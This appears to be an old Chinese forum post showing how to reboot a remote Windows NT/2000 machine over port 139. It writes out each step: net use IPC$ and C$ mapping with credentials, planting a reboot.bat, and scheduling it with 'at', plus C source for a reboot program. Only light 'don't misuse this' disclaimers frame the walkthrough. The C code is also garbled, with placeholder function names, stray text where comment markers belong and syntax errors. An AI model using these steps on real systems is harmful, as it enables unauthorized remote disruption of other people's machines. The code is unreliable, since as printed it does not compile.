呵呵,写这个帖子的原因是因为我答应给一个朋友回复139端口的作用来着……先声明两点:1)不要利用本帖所提到的方法去搞恶意破坏!2)呵呵,可能许多人已经知道了139端口这个用法了~本文只想起到一个抛砖引玉的作用!
废话不多说了~开始:
如果你使用NT主机的话,那你可要注意了!
重启NT主机的方法如下:
1:Net use XXX.XXX.XXX.XXXipc$ "password" /user:"username"
建立一个IPC连接
2:net use H: XXX.XXX.XXX.XXXC$
将对方的C盘映射为自己的h盘
3:copy c on h:reboot.bat
Iisreset /reboot
CTRL+Z
在对方的C盘上生成一个能重启机器的文件
4:net time XXX.XXX.XXX.XXX
得到对方机器时间
5:at XXX.XXX.XXX.XXX 重启的时间 c:reboot.bat
设定对方重启的时间!
6:at XXX.XXX.XXX.XXX
查看任务上面是否添加了这个任务
7:等对方重启好了~
上面的第三步是only for Win2K的,如果是Nt,就需要用意个指定的重启程序,我们可以自己编写一个reboot.exe来代替reboot.bat,代码如下:

include "stdio.h"

include "windows.h"

int main()
{
文件://定义重启的时候发送给所有用户的消息
LPSTR msg="Reboot Tool By LionHooknhttp://www.xici.net";;
文件://尝试用最简单的API函数重启
if(ExitWindowXXX(EWX_REBOOT.0))return TRUE;
if(ExitWindowXXX(EWX_REBOOT | EWX_FORCE,0))return TRUE;
文件://因为上面的重启不成功,所以需要调整本进程的特权
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |TOKEN_QUERY,&hToken)) return FALSE;
文件://获取重启的特权 SE_SHUTDOWN_NAME
LookupPrivilegevalues(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(POTKEN_PRIVILEGES)NULL,0);
文件://判断是NT内核还是9X内核,选择用不同的方式
if(!GetVersion()& 0x80000000))
InitiateSystemShutdown(NULL,msg,20,TRUE,TRUE);
else if (!ExitWindowXXX(EWX_REBOOT,0))
if(!ExitWindowXXX(EWX_REBOOT|EWX_FORCE,0))
return FALSE;
return TRUE;
对了,再次说明啊,别用本文提到的方法搞破坏,小心警察叔叔打PP~呵呵